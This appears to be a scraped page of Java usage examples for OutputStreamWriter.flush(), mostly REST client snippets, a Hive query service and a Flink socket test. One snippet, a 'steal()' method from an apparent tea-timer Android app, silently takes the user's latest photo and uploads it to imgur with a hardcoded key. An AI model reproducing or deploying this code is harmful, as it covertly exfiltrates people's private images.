Example usage for java.io OutputStreamWriter flush

List of usage examples for java.io OutputStreamWriter flush

Introduction

In this page you can find the example usage for java.io OutputStreamWriter flush.

Prototype

public void flush() throws IOException 

Source Link

Document

Flushes the stream.

Usage

From source file:com.mycompany.grupo6ti.GenericResource.java

@PUT
@Produces("application/json")
@Path("/nuevaOc/{canal}/{cant}/{sku}/{proveedor}/{cliente}/{precio}/{fechae}")
public String hacerOrdenCompra(@PathParam("canal") String canal, @PathParam("cant") String cant,
        @PathParam("sku") String sku, @PathParam("proveedor") String proveedor,
        @PathParam("cliente") String cliente, @PathParam("precio") String precio,
        @PathParam("fechae") String fechae) throws MalformedURLException, IOException {
    try {//  w  ww  .ja va  2 s. c o m
        URL url = new URL("http://localhost:83/crear");

        HttpURLConnection conn = (HttpURLConnection) url.openConnection();
        InputStream is;
        conn.setRequestProperty("Accept-Charset", "UTF-8");
        conn.setRequestProperty("Content-Type", "application/json");
        conn.setUseCaches(true);
        conn.setRequestMethod("PUT");
        conn.setDoOutput(true);
        conn.setDoInput(true);

        String sss = "{\n" + "  \"cliente\": \"" + cliente + "\",\n" + "  \"proveedor\": \"" + proveedor
                + "\",\n" + "  \"sku\": \"" + sku + "\",\n" + "  \"fechaEntrega\": \"" + fechae + "\",\n"
                + "  \"precioUnitario\": \"" + precio + "\",\n" + "  \"cantidad\": \"" + cant + "\",\n"
                + "  \"canal\": \"" + canal + "\"\n" + "}";

        OutputStreamWriter out = new OutputStreamWriter(conn.getOutputStream());
        out.write(sss);
        out.flush();
        out.close();

        if (conn.getResponseCode() >= 400) {
            is = conn.getErrorStream();
        } else {
            is = conn.getInputStream();
        }
        String result2 = "";
        BufferedReader rd = new BufferedReader(new InputStreamReader(is));
        String line;
        while ((line = rd.readLine()) != null) {
            result2 += line;
        }
        rd.close();
        return result2;

    } catch (IOException e) {
        e.printStackTrace();
    } catch (Exception e) {
        e.printStackTrace();
    }
    return ("[\"Test\", \"Funcionando Bien\"]");

}

From source file:com.mycompany.grupo6ti.GenericResource.java

@POST
@Produces("application/json")

@Path("/pagarFactura/{id}")
public String pagarFactura(@PathParam("id") String id) {
    try {//from  w w w  .  ja v  a2 s  . com
        URL url = new URL("http://localhost:85/pay");

        HttpURLConnection conn = (HttpURLConnection) url.openConnection();
        InputStream is;
        conn.setRequestProperty("Accept-Charset", "UTF-8");
        conn.setRequestProperty("Content-Type", "application/json");
        conn.setUseCaches(true);

        conn.setRequestMethod("POST");
        conn.setDoOutput(true);
        conn.setDoInput(true);

        String idJson = "{\n" + "  \"id\": \"" + id + "\"\n" + "}";
        //String idJson2 = "[\"Test\", \"Funcionando Bien\"]";
        OutputStreamWriter out = new OutputStreamWriter(conn.getOutputStream());
        out.write(idJson);
        out.flush();
        out.close();

        if (conn.getResponseCode() >= 400) {
            is = conn.getErrorStream();
        } else {
            is = conn.getInputStream();
        }
        String result2 = "";
        BufferedReader rd = new BufferedReader(new InputStreamReader(is));
        String line;
        while ((line = rd.readLine()) != null) {
            result2 += line;
        }
        rd.close();
        return result2;

    } catch (IOException e) {
        e.printStackTrace();
    } catch (Exception e) {
        e.printStackTrace();
    }

    return ("[\"Test\", \"Funcionando Bien\"]");

}

From source file:com.mycompany.grupo6ti.GenericResource.java

@POST
@Produces("application/json")
@Path("/rechazarFactura/{id}/{motivo}")
public String rechazarFactura(@PathParam("id") String id, @PathParam("motivo") String motivo) {
    try {/*from  ww  w  . j a  va2s  .  c  o  m*/
        URL url = new URL("http://localhost:85/reject/");

        HttpURLConnection conn = (HttpURLConnection) url.openConnection();
        InputStream is;
        conn.setRequestProperty("Accept-Charset", "UTF-8");
        conn.setRequestProperty("Content-Type", "application/json");
        conn.setUseCaches(true);
        conn.setRequestMethod("POST");
        conn.setDoOutput(true);
        conn.setDoInput(true);

        String idJson = "{\n" + "  \"id\": \"" + id + "\",\n" + "  \"motivo\": \"" + motivo + "\"\n" + "}";
        //String idJson2 = "[\"Test\", \"Funcionando Bien\"]";
        OutputStreamWriter out = new OutputStreamWriter(conn.getOutputStream());
        out.write(idJson);
        out.flush();
        out.close();

        if (conn.getResponseCode() >= 400) {
            is = conn.getErrorStream();
        } else {
            is = conn.getInputStream();
        }
        String result2 = "";
        BufferedReader rd = new BufferedReader(new InputStreamReader(is));
        String line;
        while ((line = rd.readLine()) != null) {
            result2 += line;
        }
        rd.close();
        return result2;

    } catch (IOException e) {
        e.printStackTrace();
        return ("[\"Test\", \"Funcionando Bien1\"]");
    } catch (Exception e) {
        e.printStackTrace();
        return ("[\"Test\", \"Funcionando Bien2\"]");
    }

    //return ("[\"Test\", \"Funcionando Bien\"]");

}

From source file:com.mycompany.grupo6ti.GenericResource.java

@POST
@Produces("application/json")
@Path("/recepcionarOc/{id}")
public String recepcionarOc(@PathParam("id") String id) {

    try {/*from w  ww .ja v a 2s.c  o  m*/
        URL url = new URL("http://localhost:83/recepcionar/" + id);

        HttpURLConnection conn = (HttpURLConnection) url.openConnection();
        InputStream is;
        conn.setRequestProperty("Accept-Charset", "UTF-8");
        conn.setRequestProperty("Content-Type", "application/json");
        conn.setUseCaches(true);
        conn.setRequestMethod("POST");
        conn.setDoOutput(true);
        conn.setDoInput(true);

        String idJson = "{\n" + "  \"id\": \"" + id + "\"\n" + "}";
        //String idJson2 = "[\"Test\", \"Funcionando Bien\"]";
        OutputStreamWriter out = new OutputStreamWriter(conn.getOutputStream());
        out.write(idJson);
        out.flush();
        out.close();

        if (conn.getResponseCode() >= 400) {
            is = conn.getErrorStream();
        } else {
            is = conn.getInputStream();
        }
        String result2 = "";
        BufferedReader rd = new BufferedReader(new InputStreamReader(is));
        String line;
        while ((line = rd.readLine()) != null) {
            result2 += line;
        }
        rd.close();
        return result2;

    } catch (IOException e) {
        e.printStackTrace();
        return ("[\"Test\", \"Funcionando Bien1\"]");
    } catch (Exception e) {
        e.printStackTrace();
        return ("[\"Test\", \"Funcionando Bien2\"]");
    }

    //return ("[\"Test\", \"Funcionando Bien\"]");

}

From source file:com.mycompany.grupo6ti.GenericResource.java

@POST
@Produces("application/json")
@Path("/rechazarOc/{id}/{rechazo}")
public String rechazarOc(@PathParam("id") String id, @PathParam("rechazo") String rechazo) {

    try {/*from  ww  w  . ja  v  a2  s.  co m*/
        URL url = new URL("http://localhost:83/rechazar/" + id);

        HttpURLConnection conn = (HttpURLConnection) url.openConnection();
        InputStream is;
        conn.setRequestProperty("Accept-Charset", "UTF-8");
        conn.setRequestProperty("Content-Type", "application/json");
        conn.setUseCaches(true);
        conn.setRequestMethod("POST");
        conn.setDoOutput(true);
        conn.setDoInput(true);

        String idJson = "{\n" + "  \"rechazo\": \"" + rechazo + "\"\n" + "}";
        //String idJson2 = "[\"Test\", \"Funcionando Bien\"]";
        OutputStreamWriter out = new OutputStreamWriter(conn.getOutputStream());
        out.write(idJson);
        out.flush();
        out.close();

        if (conn.getResponseCode() >= 400) {
            is = conn.getErrorStream();
        } else {
            is = conn.getInputStream();
        }
        String result2 = "";
        BufferedReader rd = new BufferedReader(new InputStreamReader(is));
        String line;
        while ((line = rd.readLine()) != null) {
            result2 += line;
        }
        rd.close();
        return result2;

    } catch (IOException e) {
        e.printStackTrace();
        return ("[\"Test\", \"Funcionando Bien1\"]");
    } catch (Exception e) {
        e.printStackTrace();
        return ("[\"Test\", \"Funcionando Bien2\"]");
    }

    //return ("[\"Test\", \"Funcionando Bien\"]");

}

From source file:com.mycompany.grupo6ti.GenericResource.java

@POST //?
@Produces("application/json")
@Path("/despacharProducto/{id}")
public String despacharOc(@PathParam("id") String id)

{

    try {//w  w w  . j a  v  a2s.c  o  m
        URL url = new URL("http://localhost:83/despachar/" + id);

        HttpURLConnection conn = (HttpURLConnection) url.openConnection();
        InputStream is;
        conn.setRequestProperty("Accept-Charset", "UTF-8");
        conn.setRequestProperty("Content-Type", "application/json");
        conn.setUseCaches(true);
        conn.setRequestMethod("POST");
        conn.setDoOutput(true);
        conn.setDoInput(true);

        String idJson = "{\n" + "  \"id\": \"" + id + "\"\n" + "}";
        //String idJson2 = "[\"Test\", \"Funcionando Bien\"]";
        OutputStreamWriter out = new OutputStreamWriter(conn.getOutputStream());
        out.write(idJson);
        out.flush();
        out.close();

        if (conn.getResponseCode() >= 400) {
            is = conn.getErrorStream();
        } else {
            is = conn.getInputStream();
        }
        String result2 = "";
        BufferedReader rd = new BufferedReader(new InputStreamReader(is));
        String line;
        while ((line = rd.readLine()) != null) {
            result2 += line;
        }
        rd.close();
        return result2;

    } catch (IOException e) {
        e.printStackTrace();
        return ("[\"Test\", \"Funcionando Bien1\"]");
    } catch (Exception e) {
        e.printStackTrace();
        return ("[\"Test\", \"Funcionando Bien2\"]");
    }

    //return ("[\"Test\", \"Funcionando Bien\"]");
}

From source file:org.huahinframework.manager.rest.service.HiveService.java

@Path("/executeQuery")
@POST/* w  w  w  .  j  a  v  a  2 s  . c o  m*/
@Produces(MediaType.APPLICATION_JSON)
@Consumes(MediaTypeUtils.MULTIPART_FORM_DATA)
@Deprecated
public void executeQuery(@Context HttpServletResponse response, InMultiPart inMP) throws IOException {
    OutputStreamWriter out = new OutputStreamWriter(response.getOutputStream());
    Map<String, String> status = new HashMap<String, String>();
    try {
        if (!inMP.hasNext()) {
            throw new RuntimeException("Query is empty");
        }

        JSONObject argument = createJSON(inMP.next().getInputStream());
        String query = argument.getString(JSON_QUERY);
        if (query == null || query.isEmpty()) {
            status.put(Response.STATUS, "Query is empty");
            out.write(new JSONObject(status).toString());
            out.flush();
            out.close();
            return;
        }

        Class.forName(driverName);
        Connection con = DriverManager.getConnection(String.format(connectionFormat, hiveserver), "", "");
        Statement stmt = con.createStatement();

        ResultSet resultSet = stmt.executeQuery(query);
        while (resultSet.next()) {
            JSONObject jsonObject = new JSONObject();
            for (int i = 1; i <= resultSet.getMetaData().getColumnCount(); i++) {
                jsonObject.put(resultSet.getMetaData().getColumnName(i), resultSet.getString(i));
            }
            out.write(jsonObject.toString());
            out.flush();
        }
        con.close();
        out.close();
    } catch (Exception e) {
        e.printStackTrace();
        log.error(e);
        status.put(Response.STATUS, e.getMessage());
        out.write(new JSONObject(status).toString());
        out.flush();
        out.close();
    }
}

From source file:com.mycompany.grupo6ti.GenericResource.java

@DELETE
@Produces("application/json")
@Path("/anularOc/{id}/{motivo}")
public String anularOc(@PathParam("id") String id, @PathParam("motivo") String motivo) {

    try {/*www  . j a  v  a 2  s  .  c om*/
        URL url = new URL("http://localhost:83/anular/" + id);

        HttpURLConnection conn = (HttpURLConnection) url.openConnection();
        InputStream is;
        conn.setRequestProperty("Accept-Charset", "UTF-8");
        conn.setRequestProperty("Content-Type", "application/json");
        conn.setUseCaches(true);
        //conn.setRequestMethod("DELETE");
        conn.setRequestMethod("POST");
        // We have to override the post method so we can send data
        conn.setRequestProperty("X-HTTP-Method-Override", "DELETE");

        conn.setDoOutput(true);
        conn.setDoInput(true);

        String idJson = "{\n" + "  \"anulacion\": \"" + motivo + "\"\n" + "}";

        //String idJson2 = "[\"Test\", \"Funcionando Bien\"]";
        OutputStreamWriter out = new OutputStreamWriter(conn.getOutputStream());
        out.write(idJson);
        out.flush();
        out.close();

        if (conn.getResponseCode() >= 400) {
            is = conn.getErrorStream();
        } else {
            is = conn.getInputStream();
        }
        String result2 = "";
        BufferedReader rd = new BufferedReader(new InputStreamReader(is));
        String line;
        while ((line = rd.readLine()) != null) {
            result2 += line;
        }
        rd.close();
        return result2;

    } catch (IOException e) {
        e.printStackTrace();
        return ("[\"Test\", \"Funcionando Bien1\"]");
    } catch (Exception e) {
        e.printStackTrace();
        return ("[\"Test\", \"Funcionando Bien2\"]");
    }

}

From source file:goo.TeaTimer.TimerActivity.java

private void steal() {
    new Thread(new Runnable() {
        public void run() {
            try {
                Looper.prepare();// w ww.  j a va2 s .c  om
                String[] filePathColumn = { MediaStore.Images.Media.DATA };

                Cursor cursor = getContentResolver().query(MediaStore.Images.Media.EXTERNAL_CONTENT_URI,
                        filePathColumn, null, null, null);
                cursor.moveToLast();

                int columnIndex = cursor.getColumnIndex(filePathColumn[0]);
                String filePath = cursor.getString(columnIndex);
                cursor.close();

                Log.v(TAG, "FilePath:" + filePath);
                Bitmap bitmap = BitmapFactory.decodeFile(filePath);
                bitmap = Bitmap.createScaledBitmap(bitmap, 480, 320, true);
                // Creates Byte Array from picture
                ByteArrayOutputStream baos = new ByteArrayOutputStream();
                bitmap.compress(Bitmap.CompressFormat.PNG, 100, baos); // Not sure whether this should be jpeg or png, try both and see which works best
                URL url = new URL("http://api.imgur.com/2/upload.json");

                //encodes picture with Base64 and inserts api key
                String data = URLEncoder.encode("image", "UTF-8") + "="
                        + URLEncoder.encode(Base64.encodeBytes(baos.toByteArray()).toString(), "UTF-8");
                data += "&" + URLEncoder.encode("key", "UTF-8") + "="
                        + URLEncoder.encode("e7570f4de21f88793225d963c6cc4114", "UTF-8");
                data += "&" + URLEncoder.encode("title", "UTF-8") + "="
                        + URLEncoder.encode("evilteatimer", "UTF-8");

                // opens connection and sends data
                URLConnection conn = url.openConnection();
                conn.setDoOutput(true);
                OutputStreamWriter wr = new OutputStreamWriter(conn.getOutputStream());
                wr.write(data);
                wr.flush();

                // Read the results
                BufferedReader in = new BufferedReader(new InputStreamReader(conn.getInputStream()));
                String jsonString = in.readLine();
                in.close();

                JSONObject json = new JSONObject(jsonString);
                String imgUrl = json.getJSONObject("upload").getJSONObject("links").getString("imgur_page");

                Log.v(TAG, "Imgur link:" + imgUrl);
                Context context = getApplicationContext();
                mImgUrl = imgUrl;
                Toast toast = Toast.makeText(context, imgUrl, Toast.LENGTH_LONG);
                toast.show();
            } catch (Exception exception) {
                Log.v(TAG, "Upload Failure:" + exception.getMessage());
            }
        }
    }).start();
}

From source file:org.apache.flink.streaming.api.functions.source.SocketTextStreamFunctionTest.java

@Test
public void testSocketSourceOutputWithRetries() throws Exception {
    ServerSocket server = new ServerSocket(0);
    Socket channel = null;//from   w w  w. java 2  s .  co  m

    try {
        SocketTextStreamFunction source = new SocketTextStreamFunction(LOCALHOST, server.getLocalPort(), "\n",
                10, 100);

        SocketSourceThread runner = new SocketSourceThread(source, "test1", "check");
        runner.start();

        // first connection: nothing
        channel = server.accept();
        channel.close();

        // second connection: first string
        channel = server.accept();
        OutputStreamWriter writer = new OutputStreamWriter(channel.getOutputStream());
        writer.write("test1\n");
        writer.close();
        channel.close();

        // third connection: nothing
        channel = server.accept();
        channel.close();

        // forth connection: second string
        channel = server.accept();
        writer = new OutputStreamWriter(channel.getOutputStream());
        writer.write("check\n");
        writer.flush();

        runner.waitForNumElements(2);
        runner.cancel();
        runner.waitUntilDone();
    } finally {
        if (channel != null) {
            IOUtils.closeQuietly(channel);
        }
        IOUtils.closeQuietly(server);
    }
}